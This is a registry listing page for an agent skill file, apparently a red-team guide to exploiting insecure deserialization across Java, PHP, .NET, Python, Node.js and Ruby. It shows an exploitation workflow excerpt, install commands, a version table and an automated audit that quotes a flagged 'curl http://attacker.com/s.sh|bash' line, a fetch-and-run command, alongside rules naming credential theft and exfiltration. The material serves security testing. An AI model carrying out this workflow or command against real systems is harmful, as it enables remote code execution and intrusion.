offensive-deserialization skillB
offensive-deserialization is agent-read markdown (skill) from snailsploit/claude-red: Insecure deserialization exploitation across Java, PHP, .NET, Python, Node.js, and Ruby. Covers gadget chain construction with ysoserial/phpggc/ysoserial.net, ObjectInputStream and BinaryFormatter sink identification, pickle __reduce__ RCE, phar:// wrapper abuse, Jackson polymorphic typing, Json.NET TypeNameHandling, ViewState tampering, node-serialize IIFE injection, Ruby Marshal.load and YAML.load gadgets, framework-specific chains for Spring/Hibernate/Laravel/Symfony, modern attack surfaces i.
Indexed from public GitHub and served as immutable, content-addressed versions. Install it pinned to an exact SHA-256 with the mdr CLI, and every file is verified against the hash recorded here before it reaches your agent. The deterministic audit below grades the latest version, and the same file always earns the same grade.
What the file says
# Offensive Deserialization Deserialization vulnerabilities arise when an application reconstructs objects from serialized byte streams without validating the type, integrity, or origin of the data. Object reconstruction triggers constructors, finalizers, and language-specific magic methods, so an attacker who controls the serialized input often achieves remote code execution before any application-level validation runs. ## Quick Workflow 1. Enumerate every entry point accepting opaque binary or encoded data -- cookies, HTTP bodies, headers, message queue messages, file uploads, GraphQL custom scalars, gRPC fields, JMX/RMI endpoints. 2. Fingerprint the serialization format via magic bytes, content-type headers, and error behavior (see Recognition Signatures). 3. Determine the server-side language and framework version from error pages, HTTP headers, or source code. 4. Select candidate gadget chains matching the target classpath or installed packages. Generate payloads with ysoserial, phpggc, ysoserial.net, or manual construction. 5. Deliver through the identified entry point. Start with DNS-only or sleep-based …
Read the whole file at its exact version.
How to install
mdr add snailsploit/claude-red/offensive-deserialization@git:20260825.900e4c2mdr add snailsploit/claude-red/offensive-deserialization@sha256:2dfb6f4dfa3be8a5Pin to a label to follow the author's releases, or to a sha256 to freeze the exact bytes forever. Either way the resolved hash is written to mdr.lock, and mdr install reproduces it on any machine.
[](https://markdownregistry.com/a/art_dybsurojgb3typ2g)
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Versions
| version | committed | commit | size | audit | |
|---|---|---|---|---|---|
| git:20260825.900e4c2 latest | 2026-08-25 | 900e4c2 | 22,517 B | B | view · diff |
| git:20260825.1885f44 | 2026-08-25 | 1885f44 | 23,179 B | B | view · diff |
| git:20260825.8cffe5d | 2026-08-25 | 8cffe5d | 29,512 B | B | view · diff |
| git:20260506.70e0c89 | 2026-05-06 | 70e0c89 | 9,112 B | C | view |
Audit of the latest version
- fail: No curl or wget piped into a shell (matched: curl http://attacker.com/s.sh|bash)
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (22517 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No link to a raw IP address
- pass: No script tag
Source
snailsploit/claude-red · 6,831 stars · license MIT · pushed 2026-09-19 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_dybsurojgb3typ2g GET https://markdownregistry.com/api/v1/resolve?ref=snailsploit/claude-red/offensive-deserialization GET https://markdownregistry.com/api/v1/blob/2dfb6f4dfa3be8a5ff7a36593908f0f00f236ccc6f7f53f3e1ea33bfe47537e2
Your agent does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
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